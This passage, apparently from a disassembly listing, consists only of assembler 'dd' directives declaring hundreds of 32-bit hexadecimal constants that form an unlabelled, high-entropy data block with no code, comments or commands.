		dd 6CA9C348h, 49905837h, 4E52C405h, 21EB7919h, 3DBA8006h
		dd 0CFEA6DBAh, 0D98695B7h, 47AFF22Eh, 0CC270D40h, 541B48D9h
		dd 0BDC52EB7h, 0A62EB4E6h, 81A3144Fh, 0EE0DB9C1h, 56F2A921h
		dd 623D92Ah, 0CE382D3h,	76EE9CA6h, 42B6E2D1h, 71019A16h
		dd 0F786EDCBh, 5822865Ah, 29E00021h, 791FE8C2h,	0C22E53E5h
		dd 124E01AFh, 0B9198359h, 0C8FFE882h, 945AFEFh,	0B3F75345h
		dd 6C69E9C0h, 8A510D6Ah, 667B43B1h, 0E3A64703h,	0CA1FD5F1h
		dd 393948F7h, 26833CEFh, 505EA6BFh, 0EEB917CEh,	555ACD51h
		dd 55E26BD0h, 16C5D0E1h, 1F559FD8h, 0EF865E33h,	9F848DEDh
		dd 0C30FCFD2h, 0CC15B48Ch, 0E3C08A58h, 0B7047313h, 0DF124185h
		dd 21189672h, 0FE16592Dh, 76BA9019h, 0B415458Eh, 5AFE0AF0h
		dd 32E4781Dh, 0F1F5A0E3h, 0B5C0F71Fh, 0E1EC1C24h, 669DFA28h
		dd 3CD3E8EDh, 0B18F8258h, 2EFEDAEEh, 4277B198h,	7804B7C4h
		dd 8D5744D7h, 4B1F6E5Eh, 0C864AF2Ah, 511EF951h,	196F00D0h
		dd 57295CE3h, 0D4E1765Ch, 0FC2BFFAAh, 6C789F1Eh, 870EC21Ch
		dd 0DF8A2D1h, 90DB855h,	0DEA271C1h, 5A18E58Eh, 0FF4AE19Fh
		dd 351F1AD9h, 0CD1242Ch, 825F7A57h, 9FC14906h, 91B9008Bh
		dd 12F5FE8Bh, 64DDC4F3h, 0F4B390B8h, 0A4835FF4h, 0C193F4D4h
		dd 0BBB7DE17h, 24957DDFh, 53B809C2h, 3341FEEAh,	15B8FB60h
		dd 3398B171h, 66986194h, 8BA7E33Ch, 0D43DA564h,	0AC5BB126h
		dd 0DF81C1C0h, 191FBEEFh, 296A1E05h, 7BF50482h,	0D8D00A73h
		dd 766B475Ch, 610FD582h, 0C0FED1D8h, 76F7C591h,	0E3B11891h
		dd 3D249A09h, 80F74E9Dh, 0A9ED3143h, 0E86292F0h, 7C0C62BEh
		dd 8012AA06h, 30D78038h, 11028B6Ah, 4B60C797h, 5BF9D393h
		dd 0E6480183h, 0ACF7FE04h, 2263DA04h, 0B9491262h, 92C4423Eh
		dd 0BB789614h, 0AD77B337h, 0FB46302Fh, 0E780ED4Bh, 594FD828h
		dd 0C598F983h, 40CA917Fh, 567BE0A9h, 5465B7D4h,	2CC458A0h
		dd 85044730h, 0B6EE5B6Ch, 0A6C510CDh, 0ED34C74Eh, 0EE67F4EDh
		dd 612CF8F1h, 9F99091Ch, 86F4D58Fh, 0A55F3C83h,	2E13EA20h
		dd 0F290BC5Ah, 308EFCCFh, 0F959975h, 7554A1D2h,	0A48FAE43h
		dd 0C400B360h, 2DD287D9h, 0F2E4B10Eh, 0B3D0627h, 0A5F8CEACh
		dd 30468F66h, 6D22C6DAh, 0AE174B41h, 9BF5A2AFh,	751AD9CBh
		dd 5FFB2EA9h, 0FEF5ECA1h, 0A45997E7h, 0BBF64AA8h, 52F5BEA0h
		dd 0BC1425Dh, 0C6D55D29h, 2FCD0C89h, 8A60252Ah,	417D13A4h
		dd 0CAF5FCBAh, 0F50BD2Ah, 219AE5EBh, 89E8E5F3h,	0A95B35F5h
		dd 7FBDCCDh, 81F3B1ECh,	35A20A78h, 9E8218B2h, 0A2C303B9h
		dd 54FAC895h, 0A8E65849h, 47958DE1h, 8094A1F3h,	9063EA0Ch
		dd 7BB95D93h, 3E0C5407h, 1B07C1E4h, 13221BC4h, 48F48A74h
		dd 0BA85A6FDh, 0E04BFC56h, 4CAE4E2Fh, 0A3CF3D42h, 25D83FB0h
		dd 0A867C0ADh, 4EECBCCFh, 0F174FD2Dh, 0F2BD4911h, 0A68121D2h
		dd 4F3245D6h, 296885CBh, 54C7921Eh, 0A699259Fh,	7D69DE93h
		dd 2C59E348h, 44A82051h, 0B45A0F2Fh, 0C1045B1Fh, 658AECDAh
		dd 45DE8B6Fh, 0C818B0DDh, 0A0C906E3h, 2327DEBDh, 63AFDF27h
		dd 7B8ECE27h, 4B5B913Fh, 0A1F68241h, 5CC2D5Dh, 1B874DC3h
		dd 0D64E16A8h, 41A8E8h,	37DBD15Dh, 2CC3836Eh, 0C8F8418Ah
		dd 0E8131F2Eh, 440AD6B1h, 54D5C069h, 29B3CDC8h,	1F2F9701h
		dd 0B608C35Bh, 108E610Ch, 43002526h, 0A34D8B5Ch, 4074F894h
		dd 6D33CB2Bh, 53995DA1h
		dd 8DCE94E4h, 0FE6E6550h, 0F5AE3020h, 8DAED5CFh, 72359DE4h
		dd 4477E957h, 7A233CBDh, 0BC7F2FD5h, 1E0D9399h,	98F2B78Dh
		dd 0AF8F4111h, 0CB915CF1h, 0B7356039h, 0FE1579C2h, 2175354Fh
		dd 0CC8736Ah, 9A79DDDBh, 0D0EDE840h, 942F77FDh,	42F2A8C5h
		dd 551BD572h, 198BF305h, 92BAFD9Dh, 86ECCCAh, 92FE21FFh
		dd 0A5E3EF6Fh, 5935D61Bh, 791F7F4Eh, 0AB5F8411h, 0A227D923h
		dd 64158A74h, 331AB158h, 925F6F7Ch, 5305EBB8h, 30F36FA7h
		dd 6D546943h, 0F0F12537h, 39EB4F22h, 0A14B546Dh, 203E22C4h
		dd 0D320119Ah, 0E7321E75h, 0CAB91F5Ch, 0C5599E19h, 0DADB156Ah
		dd 0C308429Eh, 0E86EFA7Eh, 182276F8h, 1B8AF2D4h, 78A4CCD9h
		dd 6A9BBE0Fh, 0C65EAF9h, 0AF638A1Bh, 5E8E030Eh,	0F0C30962h
		dd 9B479494h, 0D645C5DAh, 0D2BEC730h, 1D5AF2D4h, 0DE1D4AAAh
		dd 0C20E5687h, 15356C41h, 0E511621Fh, 0E9BD8A20h, 0DBA89EDCh
		dd 777C903Ch, 0A64ECCC1h, 97FB52E0h, 5CEAEA35h,	0ED850BF8h
		dd 62AF77D0h, 0ED47A062h, 0AA72400Fh, 4E1D31Bh,	0CFA9C170h
		dd 0F7BA9697h, 8F4748CBh, 337CFACCh, 48C03AEFh,	8EFC2AAFh
		dd 123EA7B7h, 0FD1FAA51h, 29A01FFDh, 92FB9A76h,	9D812490h
		dd 0D5DA733Dh, 6C9F5674h, 6D9F5A85h, 7BC31148h,	4E72C8D2h
		dd 3A86A458h, 0EDD1B48Eh, 0E922206Ah, 84BFC1DAh, 4D8867FEh
		dd 0BD57BCA0h, 0C7BE6932h, 0F5BDD719h, 0B18D8A20h, 0C105BA17h
		dd 0E5E5070Bh, 7CBCDF4Ah, 79149D49h, 0D3D9436Ah, 0BEEF2E39h
		dd 0EAEF2000h, 0A1162A24h, 0A18F0776h, 8EE83BCEh, 5AC4BB5h
		dd 664811Eh, 9A40A37Fh,	0B664AEF9h, 0D7765BDFh,	183837E0h
		dd 0B71CCB72h, 0BD41ACE4h, 0DC15DB6Fh, 5665890Eh, 0FAB443AFh
		dd 6C908F1Eh, 0DDC98393h, 6019E170h, 0CEC8CB57h, 0F9122FC6h
		dd 0B76A34B2h, 0BAF9EA35h, 910A51F9h, 0B0EEBE31h, 2401EC8Eh
		dd 0B0425790h, 84C7A0Bh, 0AB75E329h, 0A564AC99h, 352FFE76h
		dd 92D7A5BAh, 0FCACA12Dh, 0A4A53DBDh, 3FE068C5h, 0DFD4494Fh
		dd 0B9057662h, 579E11AAh, 5FEF71F9h, 8AB782B1h,	1898196Ah
		dd 3AEEAE65h, 0BDC96FE6h, 24A32AD5h, 5D8E35A6h,	6C441146h
		dd 0A565C771h, 0E833D3D9h, 0A20B67E2h, 0CAAAB56Eh, 0F5CF8725h
		dd 5437E858h, 56199704h, 0CEB94B90h, 5F50067Bh,	8DEC0563h
		dd 0AA5F99CEh, 67958C7Fh, 2C98CEC8h, 0CAB714D7h, 0CB5D2FCEh
		dd 8C515DA9h, 4A31C70Eh, 0D272089Dh, 0EBEA9869h, 0DD2BBF6Fh
		dd 0A558B287h, 3A640EE3h, 2E474DC4h, 0EDBE726Bh, 0EE2F96D8h
		dd 90247504h, 0D40E5CB9h, 6FB346CAh, 0D2593F2Dh, 0A677F9ABh
		dd 0DE7B0C29h, 0A6F3539h, 0E1CEE04Ch, 0FA8138A3h, 568ADF07h
		dd 2AD02C9Ch, 6A18F930h, 5FBB00E5h, 0FF08C626h,	828BB60Bh
		dd 0E4584610h, 76244084h, 9355C123h, 1BEE0D70h,	0E2726E8Eh
		dd 0D39591AAh, 0EB38A381h, 92DC15B8h, 9EBD91B2h, 784C0F05h
		dd 385258FCh, 2483DFEh,	9181ADE7h, 65EECBC4h, 0CA873A1Ah
		dd 37788310h, 0D485E1DAh, 0DD0ACD9Bh, 684C7595h, 888365E8h
		dd 0A758FC53h, 3230E75Dh, 93EDE4BBh, 59137B97h,	59FE779Fh
		dd 0B93BB451h, 0D511172Bh, 0B70B4E5Bh, 23DD558Fh, 0B3DF4F92h
		dd 358E9A52h, 0CBDF77EBh, 98EA89D7h, 1E66863Eh,	15624B4Bh
		dd 0F09EDDFBh, 33FE6948h, 2BCC6108h, 0AD7D76FAh, 725A44A6h
		dd 0D85B656Fh, 35EE704Ch, 0CDEE666Dh, 0D4A7D246h, 6A182237h
		dd 1D1E6F0Ah, 9B01861h,	0A152D27Eh, 1B96B031h, 0AF910333h
		dd 1507F2FDh, 81BCCB97h, 84355930h, 488BC84h, 0EBD1CB13h
		dd 6A9B2A64h, 0C987DF35h, 2DC31086h, 7DD7F0FDh,	5EDDAE22h
		dd 85D4801Dh, 4994AD6Ch, 9E4CD565h, 6D080EAEh, 0B96A06E9h
		dd 0BADB7D45h, 5D52E2DDh, 0E4E29A14h, 68F9C604h, 3CDF5A2Ah
		dd 739A4907h, 8E596B7Ch, 26559F44h, 3767803Eh, 0D76A9D07h
		dd 88827499h, 0D07E67Eh, 50FEE9CDh, 5CD65EF6h, 11E8B549h
		dd 77B0E6B6h, 4E12E4E5h, 1A564005h, 0F8F51264h,	0F84A0DADh
		dd 3F3851ECh, 0E18CB082h, 0D2C9F51Eh, 0B7C066Eh, 648AB329h
		dd 0A910B52Fh, 0D3E882E0h, 2D948014h, 9B0D4711h, 8917AB43h
		dd 0F2DEFD3Dh, 67B36312h, 0E2720B20h, 6366A6BAh, 0AD83D06Fh
		dd 0FE9A36A7h, 7D725057h, 0FC0ADBD0h, 5D1295DEh, 0CDDDF78Dh
		dd 0D780192Eh, 0A4CF2160h, 0D56E647Ah, 5A074A43h, 8BDDF384h
		dd 6EB38E51h, 7CF688CCh, 1B06965Ch, 7C716A12h, 7547372Ah
		dd 5CECCE3Eh, 0C71A012Ah, 0B1BB0C52h, 5B13313Eh, 8FC2A4FAh
		dd 4C7BF068h, 0BA0798A6h, 9879E645h, 55517930h,	840015A7h
		dd 3BE09019h, 0E4CA9978h, 0C6A4898Eh, 43158EF1h, 0DA9315F4h
		dd 0F081F302h, 58C525F6h, 60CA0B5Eh, 0B4972C9h,	0C80D173Eh
		dd 0C329C85Fh, 0CB3440C4h, 281F8920h, 0A14945C6h, 0A8E29365h
		dd 0BFE7CDF1h, 8547D086h, 28E45961h, 8B1D1FA8h,	280A4DE0h
		dd 337F748Bh, 3F78B3DAh, 0F73652F7h, 5C91C78Ah,	7FA4FEF7h
		dd 0C13BB275h, 1081167Eh, 37158796h, 0A458E760h, 0F6D273FDh
		dd 345E0AFh, 881D000Eh,	540D8181h, 923D601Ah, 53150BFDh
		dd 9A61A35Ch, 0D5EF52A4h, 2599EDFBh, 6B29E712h,	0A8456044h
		dd 0A8A1A554h, 0CFCC39A5h, 8FA0FA39h, 742EDA5Bh, 344F946Ah
		dd 0AA72C87Eh, 3C7FD3EDh, 0C054A636h, 454D0E04h, 8C17DDB5h
		dd 1875C613h, 8CC6F1B6h, 0E494D4ECh, 3997F950h,	43112C79h
		dd 95FE6596h, 0DCA3A2D3h, 2D991DD7h, 6A18C3EEh,	0ADD1313Ah
		dd 0B1C4EEEh, 0C3798995h, 0CCC1B927h, 0FC4B886Ch, 287AB8DEh
		dd 0DB606D02h, 1EF9B54h, 8D21FEAh, 4580E149h, 3CF8767Dh
		dd 81AEFCAh, 5A15C41Ch,	48E4A1A8h, 15E36362h, 482D8A86h
		dd 0DF9FFC79h, 27F95C2Eh, 7A0D542Bh, 0A2607153h, 0BD09D6FAh
		dd 8B83613Bh, 83D2B81Eh, 8E111855h, 0D338BB8Eh,	0B2F88D3Eh
		dd 7A43E9E0h, 634C9C7h,	187FBFFFh, 0BF353FE8h, 13870150h
		dd 0C2B35BACh, 0D79E2290h, 68597CE5h, 5A23FBFEh, 66B1AC0Eh
		dd 0C2B73C97h, 0D13CF011h, 4F68981Dh, 75E68005h, 0B34A89FBh
		dd 70669C62h, 0D4506A14h, 25715EE1h, 3747532Ch,	1ACA6B31h
		dd 7511BD4Ah, 2993E94Ch, 4542ACA4h, 0EF41CFCCh,	4D911D99h
		dd 0AEEAE9BFh, 853F7D22h, 0A8322146h, 0DCADB2AEh, 7B456246h
		dd 0BDFD287Bh, 87BF8298h, 6BA7F62Fh, 7EAD1CC0h,	4296E1FCh
		dd 30D5B900h, 0E2AF4D1Eh, 48D1F370h, 6B144164h,	0E3049765h
		dd 3BFA1022h, 0D0D4AF1Ah, 753D4413h, 0F9F116E5h, 588209E9h
		dd 1C117CFCh, 90F10055h, 0EDB233E8h, 3C90FBD5h,	71DA1FC7h
		dd 0D3C99875h, 0FA6142B7h, 16ED739Ah, 0B6E41915h, 0E3A17584h
		dd 0C32D1D4Fh, 5ADE7D1Dh, 78D15867h, 0F40EB0Eh,	1CE47460h
		dd 5CDBF737h, 1F58B215h, 2483121h, 7FF1D4EEh, 0A7FCFFE7h
		dd 7320528Fh, 52188351h, 15B3155Ah, 0BB751A63h,	550F38Ah
		dd 2C144847h, 0C51BEA5h, 0A6A4BA54h, 0BE2DE69h,	0FD8600BAh
		dd 0EF8C20CDh, 70992073h, 0EFAECC69h, 0CC1F11D0h, 0DD3E09BEh
		dd 0FA785C61h, 17BD1FA3h, 5E8D7BEEh, 0B1EFFED7h, 8C00B610h
		dd 84E37155h, 6D4982E1h, 0D132E241h, 0E486931Fh, 0C0A18995h
		dd 2C292CE1h, 0B018180Dh, 7B1E477Eh, 8D0454F5h,	0B67C6F29h
		dd 2FA399D5h, 30D26ED5h, 35FBD091h, 1C41AA9Dh, 7182017Fh
		dd 8FAD6305h, 6E848DE8h, 0B57A233Fh, 9BA7A57Ch,	8E11D5A8h
		dd 509E64A5h, 0FF23F823h, 3D979EA3h, 0EFC57029h, 0AA726BB7h
		dd 0A47A7C6Ch, 81164CECh
		dd 0F7907252h, 3D4B954h, 0C943B4CFh, 0C83D245Dh, 48B50BBh
		dd 6117F887h, 548B2ABAh, 9E858A15h, 9A308824h, 96333011h
		dd 518F5414h, 97656DBFh, 2AD23699h, 0F53DC6B9h,	9612FF1Dh
		dd 5E90267Ah, 0D4C3577Ah, 859910B0h, 0CFE4B4B2h, 5E2E5471h
		dd 0DBC12022h, 0A5D57FB3h, 3C8F2D9Ah, 74C8E18h,	353984EFh
		dd 47EC324Dh, 277C8BE3h, 44EBFA59h, 0CC872A8h, 214A6BD0h
		dd 2234301Ch, 0A30D5317h, 7AD20FE5h, 0D4DD9FEDh, 4449D179h
		dd 9E5E582Dh, 3F5A9285h, 0D5498936h, 270D576Dh,	992321DDh
		dd 88EC6B3Fh, 0ABF9F2Eh, 0EBB33AC0h, 0D4921514h, 0D9EA14EDh
		dd 5C0D7A08h, 9F5B5E9Bh, 436E01E8h, 0AB8D6D26h,	97E3814Eh
		dd 821CD7ECh, 106206B0h, 0F50AC8Eh, 31675CCFh, 6C8CB133h
		dd 0DABED072h, 5B4724Eh, 29921351h, 0C0C472CDh,	8BC9529Ah
		dd 0A7A46A9Ah, 0D191042Eh, 8256A08Fh, 96AF1F28h, 48F1C435h
		dd 0D7A9F8A3h, 56315825h, 87A8E33h, 39C190F4h, 0D58017E9h
		dd 414F92C3h, 133B9F3Ch, 49925D77h, 5502026Eh, 4474034Eh
		dd 5EE0864Bh, 1B8B6489h, 97AD418Fh, 43AC6093h, 9B3510B7h
		dd 2B2231FDh, 2BBD1F2Eh, 6F9F262Eh, 0E3EF8F7Fh,	4D66C1A7h
		dd 90D29AC7h, 8E26052Eh, 5545E1C9h, 0CED21986h,	9F137839h
		dd 0AE7BA7A5h, 5F5892ECh, 36F054BCh, 0D04ECD0Bh, 6F97F82Fh
		dd 0CD2F773h, 0AFB6B088h, 0ACBEBD09h, 6303F703h, 0A87773D7h
		dd 4DAE6016h, 534BF85Ch, 3748C27Ch, 0F57D42ABh,	22CCF5ACh
		dd 0FBF90D25h, 0F14FD099h, 2F94A60Bh, 84BCFBC3h, 3B6B175Ch
		dd 64CAAFE6h, 9ED69ED4h, 635010A1h, 4F4FCBC1h, 0D8D7113Fh
		dd 9EE1E667h, 3AE5863Dh, 0BFA708D6h, 0F19C66F3h, 0DEAF3E92h
		dd 0E7BD4254h, 0B0829329h, 32EA413Fh, 6D0AEB29h, 9C4F8E63h
		dd 6FA3D177h, 75D1CE8Eh, 46C6BD66h, 7969D4FEh, 938E6DB4h
		dd 0C03DDC8h, 49D68465h, 8F3E561Fh, 9FB29EEDh, 0EA51426Bh
		dd 0D0CA34DDh, 26F8DB7h, 56D317DDh, 0EDC11D62h,	2644D637h
		dd 7ACC6E5h, 0B67086DCh, 9D9F8FE6h, 9915D04h, 742CD063h
		dd 2FEF4A3h, 7B2395C6h,	9AE95F43h, 885F3985h, 219FFD9Ch
		dd 34825779h, 0FBDECA74h, 0BF0EEDD9h, 1004BECEh, 6BA6C325h
		dd 0B8A2204h, 0C999BBDCh, 8F47547Dh, 469B984Fh,	65B2DEC3h
		dd 4242B0F2h, 0CBED43A2h, 47F40105h, 0CB2F427Ch, 0C8EEDB24h
		dd 0FC15E240h, 1952B261h, 5C1375D6h, 3AC883CEh,	1E42E128h
		dd 8DDB078Fh, 0A08FAAE3h, 69CB1847h, 49A2A147h,	0F4DE5547h
		dd 0D299BF69h, 7D049A2Ah, 0A00702E4h, 38843F5Ch, 2D6F5ECFh
		dd 730E0D0Dh, 0EBEF81DAh, 4BF29958h, 8674DA05h,	0E8470E3Ah
		dd 0EDBEAF88h, 0FA6056D0h, 0ACADD36h, 92671DBh,	3A439DB8h
		dd 0D4DD97B1h, 0C5AB8875h, 36771FADh, 0DFA5AFFh, 9956C13Eh
		dd 0DF6FAE8Bh, 4139401h, 0F8AFE09Ch, 0CCA458EFh, 0B5F0BDDBh
		dd 38DA0523h, 83BE900Ah, 2D4B2097h, 500F2CDh, 85F60F6Ch
		dd 0A186D978h, 25270A5h, 58B8A51Dh, 0FC13557Fh,	7D9354E2h
		dd 28D54DCFh, 0BE81A69Eh, 3CADEE8Bh, 0E6834135h, 1819C0C2h
		dd 11959B7Ch, 590D8ADAh, 0C66A706Dh, 9AEDCFB5h,	1D363E87h
		dd 2E4D5893h, 0E1FB898Ah, 2E621E3Ch, 43AC7401h,	69069645h
		dd 346E08ABh, 17EAE9E2h, 0B54922C9h, 3A1B37EDh,	0E0DAE86Fh
		dd 98452428h, 708488DDh, 0A2CFCC91h, 71CC4B73h,	4A58BAEh
		dd 528FEA2Fh, 4EE60BEFh, 4BD9626Fh, 0D835ABF4h,	5C2E574h
		dd 48EB48Bh, 0C07F7C76h, 75FE9EDBh, 809D6A14h, 5760AAF0h
		dd 0C44833D7h, 0BC40C0E4h, 0C4E0857h, 50E8BB7h,	0D856798Dh
		dd 975D4815h, 0FAE54FC5h, 0F90249D3h, 2B8C892Eh, 1B978FC6h
		dd 25306698h, 408B31C2h, 652FD9CAh, 764F0600h, 0D319F707h
		dd 0C41AFEE7h, 0BC298F43h, 46FDF11Ch, 8BBD77ECh, 6F188C42h
		dd 603A8D55h, 6A9FB9DFh, 5365AF66h, 0E2281475h,	9BCFE7F5h
		dd 27BC36Ah, 25673B04h,	0A479535Dh, 0CF0D8654h,	0D201525Dh
		dd 5BCECC38h, 25E259F8h, 9F9DCA2Ah, 0D3C676D4h,	45F13945h
		dd 0F41C5111h, 0AED3EB30h, 0B1ABEB84h, 184A07D9h, 57491B13h
		dd 0ADCAAF12h, 6B2CC523h, 938E1369h, 6078A395h,	0B9EC986Eh
		dd 0AE069683h, 226211E1h, 1BB5786Ch, 319E513h, 655F4808h
		dd 755632E8h, 0F4BB81Fh, 0B7A1F092h, 0D22D9EEBh, 38037E14h
		dd 9576346Ch, 9493A817h, 0C40661E6h, 0DCEAA505h, 377CB295h
		dd 322835FCh, 0E0E9B579h, 9987EC12h, 5FE69F14h,	19B3E08Ah
		dd 0E8AE5113h, 4124AD3Eh, 0FCB94E2Eh, 338408Eh,	9EAC2BF4h
		dd 5E19C6D7h, 6BEA1999h, 7DA95914h, 0D856B3AEh,	0EABE1F2Fh
		dd 0EA2C59BCh, 0AA8F1E67h, 2B2182B1h, 8A1E1DE3h, 0E219719Ah
		dd 15B4F802h, 784A9DF6h, 5A01AF5Dh, 0DCF669B5h,	0CF628475h
		dd 37ADFEC6h, 0C867E4E7h, 746A20F2h, 0A0F004EFh, 0D3AD964Bh
		dd 86E7853h, 3562FDC8h,	0B21C349Fh, 397F1CF7h, 4708969Bh
		dd 44A9B12Bh, 49668965h, 40D57B83h, 0BA67D86Fh,	63FF293h
		dd 3AB63348h, 1EC1D22Ch, 61772D59h, 0BE25FB33h,	0A3019A0Ch
		dd 15ECCFC7h, 40CEF27Ah, 9C67BFB8h, 0E52656B8h,	7B48D0h
		dd 3CED8E23h, 0B6D17C62h, 0CCA425ACh, 65FDE17Fh, 0C4873F42h
		dd 0D82AC05Ch, 4025C8ADh, 353E8108h, 8EE5D3FAh,	694C00F9h
		dd 6E202D5Fh, 5C5969C8h, 9B83AA62h, 0F41B2120h,	0C81B4EF0h
		dd 0A041F1DAh, 0FACDACF6h, 40EF98A2h, 21295CC6h, 279BB6DFh
		dd 0CE4C17C8h, 0C7E03D69h, 0A2FF021Eh, 95379175h, 50CB8937h
		dd 3D831654h, 0A9FA5AACh, 0A785D510h, 0FD333E0Fh, 858D0277h
		dd 1CA75703h, 0A8B74506h, 1518F4CDh, 73CC908Ah,	0EFE99A67h
		dd 0D96780AAh, 7C8F6920h, 1E0DF550h, 9B2591Ch, 381CB4AAh
		dd 7B189248h, 0C34C955Bh, 0EEE094CCh, 2E56E9DDh, 0D10666EAh
		dd 40FAF541h, 3718C217h, 8BF6E854h, 0A2558BBEh,	0C3154807h
		dd 760C8E65h, 3CED59D2h, 2C21E8A3h, 20F45CEEh, 1255AA17h
		dd 0AE80C4FEh, 4E7B72A3h, 717A82F4h, 861D7FAEh,	68377C61h
		dd 3165BC1h, 0CF967FF1h, 0BF7EEABCh, 1646A920h,	2BD217C9h
		dd 0C0F263DBh, 209B9D42h, 0AE0E96E2h, 0CEE9BE2Bh, 79764CEAh
		dd 0C8454A2Bh, 5E0022ACh, 0D7E872FAh, 0A29384DBh, 0B2765DAFh
		dd 0F93245A6h, 0C837FD98h, 4F08B9BAh, 134F0F88h, 0BCF3842Eh
		dd 5901FFECh, 8CD64E7Fh, 0BB65F283h, 0A0F1A971h, 6991F3C2h
		dd 1541D19Eh, 2C334531h, 8C5E94D2h, 0C8DBF2EBh,	4B1BBE09h
		dd 0DDA1A05Ah, 0A3B5B153h, 6D4D4C60h, 3D3023E5h, 8D4C4566h
		dd 754E4E09h, 66B2BB16h, 4F05E2E1h, 0F279F975h,	35DB2889h
		dd 0E5AFB325h, 79518BF0h, 75DDADA9h, 0EC3F71D1h, 8B004A65h
		dd 393CCD46h, 64C5F1C6h, 0EDF8D71Ch, 554666E8h,	7F83FAD5h
		dd 0DC337242h, 0A3B664D6h, 0A272A04Ah, 131CD536h, 103194A1h
		dd 0AFFB82DFh, 5794208Fh, 759A89F8h, 577CEFA3h,	0F7F6FC06h
		dd 0BBA30B26h, 9BB91D1Dh, 0A5FC44A8h, 4F39E0B8h, 17F4BE33h
		dd 0B088631Bh, 3ECE1DCFh, 0D2A845FBh, 0EF6B4D72h, 2DDE5ACh
		dd 1C4270BDh, 21C43485h, 0A5FB8F87h, 27D1438Bh,	88D13D7Ah
		dd 0BEB16B11h, 0B9C97FA4h, 1D4C027Fh, 98129603h, 0F0692674h
		dd 5FA61EB3h, 74A5C250h, 0C0E0156Eh, 462ECC24h,	4FBB51AEh
		dd 0CB58CAECh, 2C0F31E7h, 6D646515h, 31DD87A4h,	758A1829h
		dd 0C1C800B3h, 78D179C3h, 8E03507h, 0B5061C0Ah,	8E97C562h
		dd 73D503FBh, 0EBC93039h
		dd 0FC155D7h, 68C37D14h, 3705ACD9h, 983E91C5h, 0E5CD6F1Bh
		dd 490EB7C3h, 39EF44Eh,	0D613F799h, 433C50DCh, 0F23A149Eh
		dd 8949D17h, 8F4E5861h,	0BD670112h, 5333EFD8h, 0C812B4C8h
		dd 1956CDA0h, 44F9E1D0h, 0BA0927CAh, 32C07257h,	71CF1287h
		dd 9184A8B0h, 2485DD1Fh, 5E1A5F70h, 6A93DDA2h, 5E4FB079h
		dd 0E5545DBEh, 3794A1D1h, 0B396F35Eh, 3A18ECA5h, 0E808F13Ah
		dd 8EB1D1BCh, 1D1227E7h, 0A04F8DE0h, 69A097C2h,	0F8035E75h
		dd 9260FC8h, 0EBE4890Fh, 0D37F3673h, 8D7A1550h,	259BE606h
		dd 1181E0C5h, 5A1AD9EFh, 0BB889FB8h, 0A8BBE310h, 4226975Ch
		dd 0FA6687F8h, 0A2AEF0Dh, 7D1CCA2Dh, 0F2914647h, 60302985h
		dd 539A2044h, 0DA7BC114h, 466F4909h, 6597C6B1h,	0B36BFC4h
		dd 4AE94FBEh, 4B5EF313h, 0CA415FFAh, 647C2ADDh,	0A89FCEAAh
		dd 0AA664DBBh, 620E7EDCh, 769AA775h, 84F093A6h,	3998D0F3h
		dd 3F96D353h, 0CACB25FCh, 9ED36361h, 871ECE86h,	0F2B5DDD2h
		dd 0FAC26B4Bh, 0F47E1F1Fh, 57E1E0C4h, 8C2DBB8Dh, 0C0B2CE6h
		dd 1BCFFFFCh, 0D7ED8B13h, 51EAD6Ch, 0AF196166h,	0A49BCF71h
		dd 65C86B8Ah, 56EEA270h, 6DA31BE6h, 0D5D4EF92h,	0DBA1561Bh
		dd 7DDC75D4h, 0C25EBCE9h, 96BB4945h, 0D7230DDh,	0EC9B2096h
		dd 0B18B1ED5h, 48395423h, 0C41F0348h, 0E05E915Eh, 0E9DA6213h
		dd 0BF66E5AEh, 8DCB5653h, 524C969Bh, 0BFA85DD1h, 55ACC773h
		dd 12FD78h, 0F365275Bh,	7E43CD68h, 7F5A1F16h, 0EDEA7D4Ah
		dd 41B1309Fh, 3FA7829Ch, 40D68271h, 0B6D85714h,	1CEB58C4h
		dd 4F5A446Ch, 96DE8457h, 0EDD31466h, 1C2CED5Ah,	57BAF6EDh
		dd 6865770Ah, 3F7C712Dh, 0E91AE204h, 0CAD8308h,	31D9E894h
		dd 0AEE97CEBh, 0C77E0551h, 0F88D05AAh, 2F4A99F8h, 0E3F71292h
		dd 89BDE0CCh, 0F81CB1C1h, 5A433EE2h, 0FF20CBC9h, 762F749Fh
		dd 0DA4FDA17h, 6006CF43h, 67F51C96h, 0D67906B9h, 9645BD5Fh
		dd 62FA1E49h, 470DCC38h, 8DB2CA83h, 0D287274Fh,	66B51FDFh
		dd 0BE50D461h, 8DE48EAEh, 20E856F5h, 258A26CDh,	9399C7F9h
		dd 67999EC1h, 712F9482h, 0D7BF696Ah, 0F3F09057h, 552194B0h
		dd 8D7793A6h, 0B05625BBh, 0D7E4ECD2h, 26328709h, 0C5214448h
		dd 0BD26BF4Ch, 20A365DBh, 0D1B8858Ah, 24D4E092h, 10698D76h
		dd 8A71043Ah, 8A79EF64h, 328B3F54h, 0D217928Eh,	0AD989A49h
		dd 80D73C20h, 1D466871h, 6087E300h, 932CB805h, 0E1290179h
		dd 5B3C0B4Bh, 982B9AB2h, 80D16C6Eh, 0D7085E5Eh,	0D58DAA9Dh
		dd 6B42DD97h, 0F38B34C8h, 907BDE5Fh, 0D5297388h, 84A871AAh
		dd 80753CE1h, 57B7C443h, 0B395287Bh, 0F45CF497h, 4A11C0E9h
		dd 4449C0BCh, 19C0134h,	0A1C265A3h, 53FE604Bh, 0F6153856h
		dd 0E7BFF8BCh, 0C1655DB5h, 0C9BAE8E3h, 7C2B992Dh, 66345A97h
		dd 1D6C8EABh, 2AC3758Bh, 0A48BBC86h, 50D29FC7h,	1D8C4637h
		dd 8D8D9A78h, 795297DAh, 0AE4FE236h, 73ACF92Ah,	0E8C47448h
		dd 33BE2D6Bh, 9C5521C5h, 0A05E6C4Fh, 5D908280h,	30188EE4h
		dd 44D4D0B6h, 7413C185h, 0CD26C069h, 63024DB9h,	0A08092B7h
		dd 0B14F241Ah, 0B4EAD163h, 276FE2Ah, 0F3840141h, 7053861Eh
		dd 261A3DAh, 28024162h,	5B2F7B47h, 6C067613h, 0B37E64D1h
		dd 0C4ECF64Eh, 0ACAE73C8h, 0C0D0EF5Fh, 0BD013F4Eh, 57A1C18Ah
		dd 0A0EC4A1Fh, 0AFD76575h, 81D3B19Dh, 9D23AF36h, 0AFFBBABBh
		dd 0B8D9B9E9h, 7EF8FFFh, 0E639AB16h, 0BAF46E65h, 1019E662h
		dd 40A1E63Bh, 0BB852716h, 17C8BE7Dh, 693BF45Ch,	0C329BCDDh
		dd 56298A3Fh, 0B3FA869Fh, 2D15B40Ah, 1DE498FEh,	0B84BE2A2h
		dd 0CC48C90Ah, 0AFD1FD7Ch, 962FDBE5h, 3DBBA94h,	1D2783FCh
